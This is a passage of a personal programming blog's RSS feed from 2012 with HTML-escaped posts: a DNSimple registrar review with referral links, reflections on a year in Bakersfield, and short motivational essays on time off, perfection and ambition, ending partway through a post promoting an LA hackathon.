&lt;a href="http://www.postgression.com/" title="postgression">postgression website&lt;/a> to help you get started.&lt;/p>
&lt;p>If you&amp;rsquo;ve got any questions, comments, concerns, or otherwise, I&amp;rsquo;d absolutely
love to hear them. I hope you&amp;rsquo;ll give postgression a try!&lt;/p>
&lt;p>&lt;a href="http://www.postgression.com/" title="postgression">Check out postgression here.&lt;/a>&lt;/p></description></item><item><title>Being Awesome</title><link>https://rdegges.com/2012/being-awesome/</link><pubDate>Mon, 10 Dec 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/being-awesome/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/being-awesome/fire-wolf-sketch.png" alt="Fire Wolf Sketch" title="Fire Wolf Sketch">
&lt;/p>
&lt;p>If you want to be awesome, then go be awesome.&lt;/p>
&lt;p>Code the stuff you want to code. Build the business you want to build. Lift
the weights. Lose the weight. Go the extra mile.&lt;/p>
&lt;p>Don&amp;rsquo;t listen to anyone else, just get out there, do what you love, and fucking
KICK ASS along the way.&lt;/p>
&lt;p>Don&amp;rsquo;t yield for anyone.&lt;/p></description></item><item><title>Why You Might Enjoy Using DNSimple</title><link>https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/</link><pubDate>Tue, 27 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/saturn-sketch.png" alt="Saturn Sketch" title="Saturn Sketch">
&lt;/p>
&lt;p>Practically everyone I know involved in the tech industry has a preferred
domain name registrar / DNS provider. I&amp;rsquo;ve used quite a few different
companies myself over the years, and have come to really, &lt;em>really&lt;/em> like
&lt;a href="https://dnsimple.com/r/d9a8f0b92dfb78" title="DNSimple">DNSimple&lt;/a>.&lt;/p>
&lt;p>DNSimple is, in my experience, the simplest, most elegant, and best all around
domain name registrar and DNS provider. Since I often get the &lt;em>What registrar
do you use?&lt;/em> question when talking with friends online, I figured I&amp;rsquo;d chronicle
my experiences with DNSimple here.&lt;/p>
&lt;p>If you&amp;rsquo;re already a DNSimple customer, you may enjoy this article regardless.
If you&amp;rsquo;re not yet a DNSimple customer, but are already sold, you can
&lt;a href="https://dnsimple.com/r/d9a8f0b92dfb78" title="sign up here">sign up here&lt;/a> and both you and I will get a free month of service.&lt;/p>
&lt;h2 id="interface">Interface&lt;/h2>
&lt;p>DNSimple has an awesome interface. The company is built around the idea that
DNS should be simple, and their interface reflects this.&lt;/p>
&lt;p>Below are some screenshots of my personal DNSimple account.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-account.png" alt="DNSimple Account" title="DNSimple Account">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-contacts.png" alt="DNSimple Contacts" title="DNSimple Contacts">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-add-domain.png" alt="DNSimple Add Domain" title="DNSimple Add Domain">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-apply-domain-template.png" alt="DNSimple Apply Domain Template" title="DNSimple Apply Domain Template">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-domains.png" alt="DNSimple Domains" title="DNSimple Domains">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-templates.png" alt="DNSimple Templates" title="DNSimple Templates">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-domain-editor.png" alt="DNSimple Domain Editor" title="DNSimple Domain Editor">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-domain-page.png" alt="DNSimple Domain Page" title="DNSimple Domain Page">
&lt;/p>
&lt;p>I love their interface. Their UI is simple and elegant. You can easily
register and transfer domains. You can easily update DNS records manually
using their advanced editor (which is, by far, the simplest DNS editor I&amp;rsquo;ve
ever used), and you can even use their pre-built DNS templates to instantly add
DNS records to your domain (for stuff like Google Apps, Heroku, Cloudflare,
etc.).&lt;/p>
&lt;p>If you find yourself frequently applying similar DNS rules, you can even create
your own custom DNS templates, which allows you to perform one-click DNS record
additions to as many domains as you&amp;rsquo;d like.&lt;/p>
&lt;p>Lastly, DNSimple doesn&amp;rsquo;t try to up-sell you additional services. Purchasing a
domain name takes two clicks, and there are no spammy ads or any other junk
preventing you from doing what you want to do: purchase your damn domain name!&lt;/p>
&lt;h2 id="url-forwarding">URL Forwarding&lt;/h2>
&lt;p>What has quickly become one of my favorite lesser known DNSimple features is
their URL forwarding service. This allows you to create a DNS &amp;lsquo;URL&amp;rsquo; record
which redirects users to your desired location.&lt;/p>
&lt;p>This works great for instances where your site runs under the &lt;code>www&lt;/code> sub-domain,
and you&amp;rsquo;d like to force all users who visit your naked domain (e.g.
&lt;code>mysite.com&lt;/code>) to be redirected to your &lt;code>www&lt;/code> sub-domain (e.g.
&lt;code>www.mysite.com&lt;/code>). If you&amp;rsquo;re wondering why I use &lt;code>www&lt;/code> instead of naked
domains, see &lt;a href="https://devcenter.heroku.com/articles/avoiding-naked-domains-dns-arecords" title="Avoid Naked Domains">this article&lt;/a> (it&amp;rsquo;s worth your time).&lt;/p>
&lt;p>Below is a screen shot from one of my domains&amp;ndash;you can see my URL record and
how it forwards.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-url-forwarding.png" alt="DNSimple URL Forwarding" title="DNSimple URL Forwarding">
&lt;/p>
&lt;h2 id="ssl">SSL&lt;/h2>
&lt;p>Another great thing about DNSimple is their excellent SSL handling.&lt;/p>
&lt;p>For some reason, every registrar I&amp;rsquo;ve ever used has made purchasing SSL
certificates a confusing, frustrating, and slow experience. DNSimple is the
only company I&amp;rsquo;ve worked with that actually makes purchasing and using SSL
certificates simple and straightforward.&lt;/p>
&lt;p>Below is what their SSL certificate purchasing page looks like. See how simple
that is?&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/why-you-might-enjoy-using-dnsimple/dnsimple-ssl.png" alt="DNSimple SSL" title="DNSimple SSL">
&lt;/p>
&lt;p>Once you&amp;rsquo;ve purchased a certificate, DNSimple adds a nice SSL certificate
section to your domain page, which allows you to easily download or copy and
paste your SSL details for usage with your provider. If you&amp;rsquo;re using Heroku,
there&amp;rsquo;s &lt;a href="https://devcenter.heroku.com/articles/ssl" title="Heroku SSL Guide">a guide you can follow&lt;/a> to get up and running with SSL and DNSimple.&lt;/p>
&lt;h2 id="api">API&lt;/h2>
&lt;p>Another thing that really bugs me about most registrars is that they have no
easily accessible API. Since domain names are primarily managed by
programmers, this has always felt completely unacceptable to me.&lt;/p>
&lt;p>Luckily, DNSimple has a really great REST API, along with excellent
&lt;a href="http://developer.dnsimple.com/" title="DNSimple API Documentation">API documentation&lt;/a> and a bunch of &lt;a href="http://developer.dnsimple.com/libraries/" title="DNSimple API Libraries">client libraries&lt;/a>.&lt;/p>
&lt;p>There are even some &lt;a href="http://developer.dnsimple.com/tools/" title="DNSimple Tools">great tools&lt;/a> you can use, built on top of the DNSimple
API&amp;ndash;worth checking out if you&amp;rsquo;d like to see some real-world DNSimple API
examples.&lt;/p>
&lt;h2 id="price">Price&lt;/h2>
&lt;p>DNSimple is very reasonably priced. They charge a small per-month membership
fee depending on how many domains you have (see their &lt;a href="https://dnsimple.com/plans" title="DNSimple Plans">plan page&lt;/a> for
details), and they support a long list of TLDs (see their &lt;a href="https://dnsimple.com/tld-pricing" title="DNSimple TLD Pricing">TLD pricing page&lt;/a>
here).&lt;/p>
&lt;h2 id="support">Support&lt;/h2>
&lt;p>Among registrars I&amp;rsquo;ve used, DNSimple has, by far, the best support. I&amp;rsquo;ve sent
them several support emails with questions over the past year or so, and each
time I&amp;rsquo;ve received an email answer immediately (from a developer).&lt;/p>
&lt;p>Each time I&amp;rsquo;ve talked with someone at the company, I&amp;rsquo;ve been extremely
impressed by the speed (and accuracy) of service.&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>DNSimple is, without question, my favorite domain name registrar and DNS
provider. They&amp;rsquo;ve been able to live up to their name and really make
DNS&amp;ndash;&lt;em>simple&lt;/em>.&lt;/p>
&lt;p>If you&amp;rsquo;re shopping around for a new registrar, I&amp;rsquo;d highly recommend you give
DNSimple a shot, I guarantee you&amp;rsquo;ll like them.&lt;/p>
&lt;p>The only gripe I have about DNSimple is only that they don&amp;rsquo;t (yet) have an
Android app! (They do have an &lt;a href="https://itunes.apple.com/app/dnsimple-app/id507299306?mt=8" title="DNSimple Iphone App">Iphone app&lt;/a>, if you&amp;rsquo;re an IOS guy.)&lt;/p>
&lt;p>Anyhow, if you&amp;rsquo;d like to give DNSimple a shot, create an account
now: &lt;a href="https://dnsimple.com/r/d9a8f0b92dfb78" title="DNSimple">https://dnsimple.com/&lt;/a>.&lt;/p></description></item><item><title>A Year in Bakersfield</title><link>https://rdegges.com/2012/a-year-in-bakersfield/</link><pubDate>Mon, 26 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/a-year-in-bakersfield/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/a-year-in-bakersfield/cow-skull-sketch.png" alt="Cow Skull Sketch" title="Cow Skull Sketch">
&lt;/p>
&lt;p>For the past year, I&amp;rsquo;ve been living in a relatively small city in central
California: &lt;a href="http://goo.gl/maps/4V9lQ" title="Bakersfield">Bakersfield&lt;/a>.&lt;/p>
&lt;p>Last year (a week before Thanksgiving Day), my wife&amp;rsquo;s employer gave her an
immediate (urgent) promotion, and we quickly packed our bags in Los Angeles and
moved ~2 hours north to Bakersfield.&lt;/p>
&lt;p>I&amp;rsquo;ve been working at home the past few years, so my wife and I decided when we
got married (&lt;em>almost 3 years ago!&lt;/em>) that we&amp;rsquo;d move wherever was most
advantageous for her work.&lt;/p>
&lt;p>When we started the move, I had essentially no knowledge about Bakersfield. I
pretty much assumed it was a small little city in the middle of nowhere, and
that I&amp;rsquo;d be surrounded (more or less) by farmland.&lt;/p>
&lt;p>Since people are always pretty shocked when I tell them I live in Bakersfield,
I figured I&amp;rsquo;d take a few minutes to reflect on the past year of being here.
Next time you hear about Bakersfield, you&amp;rsquo;ll be able to relate :)&lt;/p>
&lt;h2 id="a-horrible-reputation">A Horrible Reputation&lt;/h2>
&lt;p>Throughout California (unbeknownst to me at the time), Bakersfield has a pretty
bad reputation. When we got the news that we were moving to Bakersfield, my
wife and I started talking with our friends to see what they knew. Among other
things, we heard:&lt;/p>
&lt;ul>
&lt;li>It was full of drug addicts.&lt;/li>
&lt;li>It was really small.&lt;/li>
&lt;li>There was nothing to do in the city.&lt;/li>
&lt;li>It smelled nasty.&lt;/li>
&lt;li>It was filled with rampant racism.&lt;/li>
&lt;li>It was dangerous to live there.&lt;/li>
&lt;/ul>
&lt;p>After hearing all the horrible stories people told us, my wife and I basically
made a pact to ourselves: we&amp;rsquo;ll just tough things out and deal with it however
crappy it may be. When we loaded up our Uhaul and headed to an extended stay
in Bakersfield&amp;rsquo;s downtown area, we expected the worst.&lt;/p>
&lt;h2 id="first-impressions">First Impressions&lt;/h2>
&lt;p>The place my wife&amp;rsquo;s company put us up in when we moved was a really run-down
extended stay hotel. This was my first time staying in an extended stay hotel,
and I learned what extended stay really means: a smaller than average hotel
room with no room service.&lt;/p>
&lt;p>Within the first few days we saw a drug deal go down in the hotel parking lot,
the doorman smoking weed and other drugs outside the guest windows, and many
loud arguments&amp;ndash;it wasn&amp;rsquo;t pretty.&lt;/p>
&lt;p>In addition to the crappy hotel we were staying in, the weather was insane. My
wife and I figured that since Bakersfield is only ~2 hours north of LA that the
weather would likely be the same&amp;ndash;we were totally wrong.&lt;/p>
&lt;p>Through winter (November -&amp;gt; April) Bakersfield is freezing cold. Like 30F
cold. There was routinely ice on the grass in the morning, and throughout the
day the temperature was a cold 45F -&amp;gt; 55F.&lt;/p>
&lt;p>I only own shorts and t-shirts (&lt;em>I live in California, don&amp;rsquo;t judge me!&lt;/em>), so I
ended up making abundant use of the toe heater in my car.&lt;/p>
&lt;p>Other than the hotel and weather&amp;ndash;the city smelled like farmland. The smell
you get when driving through a cow farm&amp;ndash;that sort of thing. A mixture of
manure and fog is the best way I can describe it. Luckily, this must have been
a temporary thing (wind blowing the scent?), because we only experienced it for
a few days, after which it seemed to go away (it comes back from time-to-time).&lt;/p>
&lt;p>The people, however, were awesome. Everyone we met seemed really friendly and
welcoming, which made us feel a lot better about the move. Coming from Los
Angeles, having people say &amp;ldquo;hi&amp;rdquo; to you as you walk down the street is an odd
feeling. Both my wife and I were really surprised that everyone was so nice.&lt;/p>
&lt;h2 id="exploring">Exploring&lt;/h2>
&lt;p>Once my wife got acclimated to her new work, we started apartment hunting and
exploring the city. We looked at a ton of different apartment complexes in
various parts of the city, and asked a lot of questions.&lt;/p>
&lt;p>Bakersfield is broken into quadrants (for the most part). You&amp;rsquo;ve got
north-west, north-east, south-west, and south-east. What we learned along the
way is that &lt;strong>east&lt;/strong> Bakersfield is a lot more run down and &amp;ldquo;ghost town-ish&amp;rdquo;
than the rest of the city.&lt;/p>
&lt;p>North West Bakersfield (in particular) is a very nice area&amp;ndash;filled with lots of
new buildings and residential areas (shopping strips, restaurants, etc.). With
such a low cost of living in the area, you can get an amazing apartment in
North West Bakersfield for almost nothing.&lt;/p>
&lt;p>My wife and I eventually landed a really nice 3 bedroom 2 bath apartment
(enormous square footage) in a beautiful complex next to a very nice public
park for only 1225$ per month.&lt;/p>
&lt;p>Other than driving around throughout the city looking for places to live, we
also went hunting for nice places to hang out. After lots of exploration, we
found some beautiful city parks: Hart Park and The Park and Riverwalk, nice
jogging (and biking) trails, and a few great restaurants (Salty&amp;rsquo;s BBQ is
amazing).&lt;/p>
&lt;p>We also joined the local gym which, despite its horrible online reviews, has
been really nice.&lt;/p>
&lt;p>After a couple of months, we felt right at home.&lt;/p>
&lt;h2 id="the-city">The City&lt;/h2>
&lt;p>What a lot of people don&amp;rsquo;t seem to realize about Bakersfield is that it isn&amp;rsquo;t
all that different from Los Angeles.  It wasn&amp;rsquo;t obvious to me at first, but
shortly after moving here I realized some of the similarities:&lt;/p>
&lt;ul>
&lt;li>There are a lot of people. Bakersfield has over 400k people living here,
so it isn&amp;rsquo;t exactly a small city.&lt;/li>
&lt;li>There is traffic congestion (especially during your standard work hours).
While it isn&amp;rsquo;t as bad as LA, it&amp;rsquo;s still frustraing and slow.&lt;/li>
&lt;li>There&amp;rsquo;s a lot of pollution. Bakersfield is a big oil company town, and the
air quality here is notoriously bad.&lt;/li>
&lt;li>There are tons of different stores, shopping outlets, bars, and plenty of
things to do.&lt;/li>
&lt;li>You need a car to get around, as there is no suitable public transportation
to get you around the city.&lt;/li>
&lt;/ul>
&lt;p>The differences between Bakersfield and Los Angeles were immediately apparent:&lt;/p>
&lt;ul>
&lt;li>Cost of living is a lot lower. You can get an amazing apartment and have a
very high standard of living for a lot less than is possible in LA.&lt;/li>
&lt;li>Bakersfield is a lot less diverse than Los Angeles. While there are a lot
of different people here, it seems that there is a majority of older white
people (from what I&amp;rsquo;ve seen).&lt;/li>
&lt;li>There is no technical community here at all. There&amp;rsquo;s not a single tech
meetup. There are no programmers with active github accounts (other than
mine). There are no tech companies (that I&amp;rsquo;ve seen).&lt;/li>
&lt;/ul>
&lt;p>A majority of the people living here work for the big oil companies, so there
are a ton of huge SUVs and trucks everywhere, and most people work in the oil
fields all day.&lt;/p>
&lt;h2 id="location">Location&lt;/h2>
&lt;p>Bakersfield is in central California. It&amp;rsquo;s 1 -&amp;gt; 2 hours away from Los Angeles
(depending on traffic), and 4 -&amp;gt; 5 hours away from the Bay Area (depending on
traffic).&lt;/p>
&lt;p>Since the city is relatively close to both Southern and Northern California, my
wife and I have had a pretty good time driving around to go to events. We tend
to head to either Los Angeles or the Bay Area once or twice a month, which
forces us to get out of the house and go do something interesting with our
friends in tech.&lt;/p>
&lt;p>With only a 2 hour or 5 hour drive to go to either LA or SF, getting on a plane
isn&amp;rsquo;t even worth it. Unfortunately, however, after you&amp;rsquo;ve made several
multi-hour drives, it tends to wear you out quite a bit&amp;ndash;and each time I decide
to go to an event, I have to take commute into heavy consideration, as it will
be an all day affair.&lt;/p>
&lt;h2 id="isolation">Isolation&lt;/h2>
&lt;p>One of the things I&amp;rsquo;ve enjoyed most about my time in Bakersfield has been the
isolation. Since moving here last year, I&amp;rsquo;ve been more or less isolated from
all my typical duties: events, celebrations, etc. (with several exceptions).
I&amp;rsquo;ve tried to make the most of this isolation, and use it as a productivity
tool.&lt;/p>
&lt;p>In the past year I&amp;rsquo;ve spent a ton of time learning new technical things,
writing a book, launching a company, building lots of open source libraries,
and working on personal development.&lt;/p>
&lt;p>I&amp;rsquo;ve also pushed myself harder than I have in the past, and have experimented
with various motivation and productivity strategies to help stay focused and
continue building cool things.&lt;/p>
&lt;p>Overall, I&amp;rsquo;ve gotten a lot done, and have had a lot of fun doing it.&lt;/p>
&lt;p>While living in Bakersfield is certainly not for everyone, I&amp;rsquo;ve really enjoyed
my time here. For me, Bakersfield has been a nice cozy cabin, where I&amp;rsquo;ve been
able to focus on my work and myself without distraction&amp;ndash;while being close
enough to larger cities to visit semi-frequently.&lt;/p>
&lt;p>At the moment, both my wife and I are currently looking for a new adventure.
We&amp;rsquo;re currently debating between heading up north (Portland or the Bay Area),
heading south to LA again, or possibly going overseas. In the next several
months we&amp;rsquo;ll choose a destination and head out.&lt;/p>
&lt;p>If you happen to be driving through Bakersfield in the near future, or want to
chat about the city, feel free to shoot me an email: &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">r@rdegges.com&lt;/a>.&lt;/p></description></item><item><title>Time Off</title><link>https://rdegges.com/2012/time-off/</link><pubDate>Sun, 25 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/time-off/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/time-off/turkey-sketch.png" alt="Turkey Sketch" title="Turkey Sketch">
&lt;/p>
&lt;p>This year for Thanksgiving, I did something I don&amp;rsquo;t normally do: I took some
time away from the computer.&lt;/p>
&lt;p>Since both my work and hobby involve programming, it is rare that a day passes
for me in which I don&amp;rsquo;t do at least a little bit of coding. If I had to guess,
I&amp;rsquo;d say that for the better part of the last 5 years I&amp;rsquo;ve gone at most a dozen
days without programming overall.&lt;/p>
&lt;p>Since I&amp;rsquo;ve been putting in a lot of effort lately working on my various
projects, I decided that this year I&amp;rsquo;d actually remove myself from the computer
as much as possible around the holidays so I could spend more time with my
family, and attempt to loosen up a bit.&lt;/p>
&lt;p>From Wednesday through Saturday night, I didn&amp;rsquo;t touch a computer (with a single
exception, to correct an important issue). While this may sound hilariously
simple: I feel great!&lt;/p>
&lt;p>The first day was pretty hard to make it through&amp;ndash;I had no idea what to do with
myself. The second day was much easier&amp;ndash;I accepted that I wasn&amp;rsquo;t going to be
doing any coding, and just went with the flow. Had a lot of fun with my
family, ate a lot of turkey, and most of all, got to really relax for the first
time in a while.&lt;/p>
&lt;p>On the third day, my brain kicked into creative mode, and since then I&amp;rsquo;ve had a
ton of great ideas (for work, personal projects, and personal development
things) which I&amp;rsquo;m excited to implement over the coming months.&lt;/p>
&lt;p>Although it is common knowledge, I now see exactly how effective taking a break
can be. I&amp;rsquo;ll definitely be doing this more frequently.&lt;/p></description></item><item><title>Improvement and Perfection</title><link>https://rdegges.com/2012/improvement-and-perfection/</link><pubDate>Sat, 24 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/improvement-and-perfection/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/improvement-and-perfection/tiger-sketch.png" alt="Tiger Sketch" title="Tiger Sketch">
&lt;/p>
&lt;p>I just finished watching a truly excellent movie, &lt;a href="http://www.amazon.com/gp/product/B007UW9WOQ/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B007UW9WOQ&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Jiro Dreams of Sushi">Jiro Dreams of Sushi&lt;/a>. If
you haven&amp;rsquo;t seen it, I&amp;rsquo;d highly recommend you watch it (it&amp;rsquo;s available on
Netflix if you&amp;rsquo;re a subscriber).&lt;/p>
&lt;p>I&amp;rsquo;m all about motivational media, and &lt;em>Jiro Dreams of Sushi&lt;/em> happens to be one
of the most motivating and happy films I&amp;rsquo;ve ever watched. This article
contains my thoughts on improvement and perfection (the central theme of the
movie), since they are still fresh in my mind.&lt;/p>
&lt;p>Everyone starts their lives with no skill. As a child you know almost nothing.
Your parents and those around you gradually teach you how to live, how to act,
how to work, etc., but these skills are gained over time and with practice.&lt;/p>
&lt;p>Nobody is born knowing how to write computer software, and nobody is born with
the ability to play guitar. Every skill you possess is learned and acquired
over time, with lots of practice. If you&amp;rsquo;d like to become better at playing
the guitar, you must deliberately practice playing the guitar&amp;ndash;learning to read
music, learning the finger positions, learning how things are supposed to
sound, etc. No matter how much you like guitar or how much you read about
guitar&amp;ndash;the only way to get better at your craft is to deliberately practice
it.&lt;/p>
&lt;p>The more you practice a certain skill, the better you&amp;rsquo;ll become. If you
continuously spend 10 hours a day making sushi, you will undoubtedly become
better at making sushi.&lt;/p>
&lt;p>In addition to practicing your craft, you can also improve your skill by
striving for perfection in your craft, and holding yourself to a high standard.
For instance&amp;ndash;if you make sushi each day for 10 hours, this alone is not enough
to push you past a certain point of success.&lt;/p>
&lt;p>To continue improving your sushi, you also need to strive for perfection. You
need to pay close attention to each detail of the process. You must perfect
the art of cooking the rice, slicing the fish, marinating the meats, and a
number of other things.&lt;/p>
&lt;p>As you make sushi each day, you need to be strict with yourself. You must
taste your sushi as it is being prepared to ensure it is up to your standards.
You must continue to experiment with your dishes and flavors to ensure they are
not only great, but as close to perfection as possible.&lt;/p>
&lt;p>Each day you should practice your craft and strive for perfection, regardless
of whether you&amp;rsquo;re preparing sushi or writing software.&lt;/p>
&lt;p>I think this lesson holds true for all of life. You should constantly push
yourself to be better than the day before. Strive for perfection in every act
you perform.&lt;/p></description></item><item><title>Sometimes You've Got To Kill It</title><link>https://rdegges.com/2012/sometimes-youve-got-to-kill-it/</link><pubDate>Tue, 20 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/sometimes-youve-got-to-kill-it/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/sometimes-youve-got-to-kill-it/lion-sketch.png" alt="Lion Sketch" title="Lion Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve noticed that sometimes, doing the things you enjoy just isn&amp;rsquo;t enough.
Sometimes you need to do more.&lt;/p>
&lt;p>I often get that feeling deep down that I&amp;rsquo;m not being the best I can be&amp;ndash;I&amp;rsquo;m
not pushing myself hard enough. I&amp;rsquo;m not getting out there, doing the stuff I
love to do, and completely destroying it. Sometimes I feel weak, tired, and
beaten&amp;ndash;and the only thing I can think about or focus on is absolute victory.&lt;/p>
&lt;p>I find that when I&amp;rsquo;m in this mindset, there&amp;rsquo;s only one way to satisfy my
craving: to put 100% of my effort into what I&amp;rsquo;m doing, and absolutely crush it.
If I&amp;rsquo;m working on one of my companies, I&amp;rsquo;ll do whatever needs to be done to
take it to the next level: 4 hour hackathon, 8 hour hackathon, 24 hour
hackathon&amp;ndash;whatever it takes.&lt;/p>
&lt;p>If I&amp;rsquo;m working on a writing project when I get this urge&amp;ndash;I&amp;rsquo;ll lock myself up
in a quiet room and I won&amp;rsquo;t allow myself to leave until I&amp;rsquo;ve completely
finished what I need to do.&lt;/p>
&lt;p>No matter how difficult the task, no matter how much energy or effort it takes,
I&amp;rsquo;ll not only do it&amp;ndash;but I&amp;rsquo;ll do it as best as it can possibly be done.&lt;/p>
&lt;p>This is the only way to satisfy the craving.&lt;/p>
&lt;p>Sometimes you&amp;rsquo;ve got to listen to the voice in your head that tells you to just
keep going. When you&amp;rsquo;re feeling down, and there are a million voices telling
you to give up&amp;ndash;sometimes you need to listen to the one voice that&amp;rsquo;s telling
you to get out there, and kick some ass.&lt;/p>
&lt;p>You know that deep down, even though you&amp;rsquo;re tired, you&amp;rsquo;re capable of a lot
more. Give yourself some credit. Push your limits. If you&amp;rsquo;re not struggling
to advance, you&amp;rsquo;re falling into the abyss.&lt;/p>
&lt;p>Get out there, and kill it.&lt;/p></description></item><item><title>Ambitions</title><link>https://rdegges.com/2012/ambitions/</link><pubDate>Tue, 13 Nov 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/ambitions/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/ambitions/old-man-sketch.png" alt="Old Man Sketch" title="Old Man Sketch">
&lt;/p>
&lt;p>It&amp;rsquo;s about 1am right now, and instead of sleeping I&amp;rsquo;m thinking about all the
things I want to accomplish, and what I need to do to get there.&lt;/p>
&lt;p>While I&amp;rsquo;m currently really happy with my day-to-day life: I enjoy the things
I&amp;rsquo;m working on each day, I&amp;rsquo;m constantly learning new skills, I&amp;rsquo;m pushing myself
past my comfort barrier&amp;ndash;I&amp;rsquo;m always craving &lt;em>more&lt;/em>.&lt;/p>
&lt;p>More skills, more connections, more victories, more struggles, more
achievements&amp;ndash;more &lt;em>everything&lt;/em>. Unfortunately, when I think about these
things (which I do quite often), I can&amp;rsquo;t help but feel a bit guilty.&lt;/p>
&lt;p>Internally, there&amp;rsquo;s always a debate that takes place. One side of me says
&amp;ldquo;You&amp;rsquo;re happy with what you&amp;rsquo;re currently doing. Don&amp;rsquo;t constantly focus on
always doing bigger, better things! Be content with yourself &lt;em>now&lt;/em>!&amp;rdquo; While
the other side says &amp;ldquo;Go big! Don&amp;rsquo;t settle for your current situation. Be
happy with yourself, but push yourself outside your limits, and don&amp;rsquo;t yield!&amp;rdquo;&lt;/p>
&lt;p>It&amp;rsquo;s a struggle.&lt;/p>
&lt;p>On one hand, I can see myself easily &amp;ldquo;going with the flow&amp;rdquo; and learning to be
content with myself. On the other hand&amp;ndash;I don&amp;rsquo;t want to give up my huge
ambitions without a fight.&lt;/p>
&lt;p>Is this normal? Does everyone feel this way?&lt;/p>
&lt;p>While both sides of the spectrum appeal to me, I must admit I&amp;rsquo;m quite a bit
more fond of the all-or-nothing approach. The idea of struggling through the
pain, sacrifice, and discipline of working towards my ambitions seems somewhat
romantic.&lt;/p>
&lt;p>It&amp;rsquo;s a fork in the road&amp;ndash;but I suppose everyone has to choose at one point or
another.&lt;/p></description></item><item><title>Too Short</title><link>https://rdegges.com/2012/too-short/</link><pubDate>Tue, 23 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/too-short/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/too-short/owl-face-sketch.png" alt="Owl Face Sketch" title="Owl Face Sketch">
&lt;/p>
&lt;p>Some quick thoughts about how life is just too short to do stuff you hate.&lt;/p>
&lt;p>If you&amp;rsquo;re an engineer working on a product you can&amp;rsquo;t stand, it really isn&amp;rsquo;t
worth it to stick around and keep working on the same thing. If you can code
things, you have the power (quite literally) to build your own wealth, however
you choose.&lt;/p>
&lt;p>Whether you want to work at a big company on a big product (with lots of other
engineers), whether you want to work at a tech startup on a product you love
(with a few amazing people), whether you want to build a company you&amp;rsquo;re
passionate about, or whether you want to build technology for clients&amp;ndash;you have
the ability to choose what you work on, and get paid along the way.&lt;/p>
&lt;p>Since work is such a large part of life, slaving away on products you hate is
probably the fastest way to build stress, burn yourself out, and lower your
morale.&lt;/p>
&lt;p>If you&amp;rsquo;re stuck in a position you don&amp;rsquo;t want to be in, call in sick for a day
or two and really think about what you want to do with your time:&lt;/p>
&lt;ul>
&lt;li>Is there something amazing you want to build?&lt;/li>
&lt;li>Is there something you really enjoy doing that you&amp;rsquo;re not doing now?&lt;/li>
&lt;li>Can you use your skills in a better way than you are now?&lt;/li>
&lt;/ul>
&lt;p>Once you&amp;rsquo;ve thought it through, don&amp;rsquo;t go easy on yourself. Make a decision.
Hold your ground. Things always seems crazy at first (until you do them), so
don&amp;rsquo;t let your fear make your decisions for you.&lt;/p>
&lt;p>There&amp;rsquo;s just not enough time in life to do things you hate, so instead of
wasting your time away, just do the things you love to do.&lt;/p></description></item><item><title>Hack Things at the LA Hackathon</title><link>https://rdegges.com/2012/hack-things-at-the-la-hackathon/</link><pubDate>Mon, 22 Oct 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/hack-things-at-the-la-hackathon/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/hack-things-at-the-la-hackathon/axe-warrior-sketch.png" alt="Axe Warrior Sketch" title="Axe Warrior Sketch">
&lt;/p>
&lt;p>I know several things about you right now:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>You are more than likely a programmer.&lt;/strong> I know this because most of my
writing here on this site is dedicated to programming, and I doubt you&amp;rsquo;d be
here unless you&amp;rsquo;re interested in the topic.&lt;/li>
&lt;li>&lt;strong>You like doing awesome things.&lt;/strong> I know this because everyone likes
doing awesome things.&lt;/li>
&lt;li>&lt;strong>You want to be better at coding stuff.&lt;/strong> I know this because if you&amp;rsquo;re
reading blogs about programming, you&amp;rsquo;re probably interested in becoming a
